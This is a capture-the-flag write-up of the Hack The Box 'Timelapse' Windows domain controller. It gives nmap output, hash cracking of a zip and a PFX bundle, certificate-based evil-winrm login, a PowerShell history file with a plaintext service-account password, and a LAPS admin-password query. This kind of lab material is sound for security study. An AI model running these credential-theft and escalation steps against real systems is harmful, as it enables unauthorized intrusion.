HTB(W) - Timelapse

┌──(root㉿kali)-[~/box/timelapse]
└─# nmap -sC -A -p- -T4 10.10.11.152                                                               
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 20:05 EDT
Nmap scan report for 10.10.11.152
Host is up (0.045s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2024-07-03 08:07:57Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5986/tcp  open  ssl/http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after:  2022-10-25T14:25:29
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2024-07-03T08:09:31+00:00; +8h00m00s from scanner time.
|_http-title: Not Found
| tls-alpn: 
|_  http/1.1
9389/tcp  open  mc-nmf            .NET Message Framing
49667/tcp open  msrpc             Microsoft Windows RPC
49673/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc             Microsoft Windows RPC
49695/tcp open  msrpc             Microsoft Windows RPC
55862/tcp open  msrpc             Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (86%)
Aggressive OS guesses: Microsoft Windows Server 2019 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m58s
| smb2-time: 
|   date: 2024-07-03T08:08:50
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

TRACEROUTE (using port 445/tcp)
HOP RTT      ADDRESS
1   45.04 ms 10.10.14.1
2   45.08 ms 10.10.11.152

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 221.03 seconds

we list smb shares, and download them recursively [[SMB#recursive get]]

![](/img/Pasted image 20240702191743.png)

with the johntheripper hash, we can crack it with hashcat locally PS A:\oven\HACKERMAN\hashcat-6.2.6> ./hashcat.exe -m 17200 .\hashes\timelapse-zip.txt .\wordlist\rockyou.txt password is /pkzip$:supremelegacy

not really sure what this .pfx file is and file legacypfx doesnt give us a whole lot of info (just says data)

A Personal Information Exchange (. pfx) Files, is **password protected file certificate commonly used for code signing your application**. It derives from the PKCS 12 archive file format certificate, and it stores multiple cryptographic objects within a single file: X. 509 public key certificates.

![](/img/Pasted image 20240702192109.png)

we're quickly lead to some breadcrumbs

okay, the same way we cracked the initial zip with zip2john we use:

┌──(root㉿kali)-[~/box/timelapse]
└─# pfx2john legacyy_dev_auth.pfx > pfxhash

and crack the pfx cert bundle password. once we have the password, we're able to extract the certificate aswell as the private key.

└─# openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem       
└─# openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
Since we have decrypted the pfx file and generated a valid key and certificate, we can attempt to login through WinRM. In the output of our Nmap command we can see that port 5986 is open, which is commonly used by WinRM but using SSL instead of unencrypted connections. Since Evil-WinRM allows us to pass a key and certificate using the -c and -k flags we can pass the certificate and key and authenticate to the target

pfx bundle extraction

https://www.ibm.com/docs/en/arl/9.7?topic=certification-extracting-certificate-keys-from-pfx-file

┌──(root㉿kali)-[~/box/timelapse]
└─# openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key-enc 
Enter Import Password:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
                                                                                                         
┌──(root㉿kali)-[~/box/timelapse]
└─# openssl rsa -in legacyy_dev_auth.key-enc -out legacyy_dev_auth.key
Enter pass phrase for legacyy_dev_auth.key-enc:
writing RSA key
                                                                                                         
┌──(root㉿kali)-[~/box/timelapse]
└─# openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy_dev_auth.crt
Enter Import Password:
                                                                                                         
┌──(root㉿kali)-[~/box/timelapse]
└─# ls legacyy_dev_auth.*
legacyy_dev_auth.crt  legacyy_dev_auth.key  legacyy_dev_auth.key-enc  legacyy_dev_auth.pfx
                                                                                                         
┌──(root㉿kali)-[~/box/timelapse]
└─# evil-winrm -k legacyy_dev_auth.key -c legacyy_dev_auth.crt -S -i 10.10.11.152
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> type consolehost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

We login with svc_deploy; and see that they are part of a LAPS_READ group - Meaning we can simply read local administrator passwords. This exists so that admins in a domain can easily login to administrators on the domain.

$h = hostname; Get-ADComputer $h -Property 'ms-mcs-admpwd'

Which gives us root!

lessons

What did we learn?

Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users

should set off alarm bells that maybe we should check if we can read administrator local password from memory.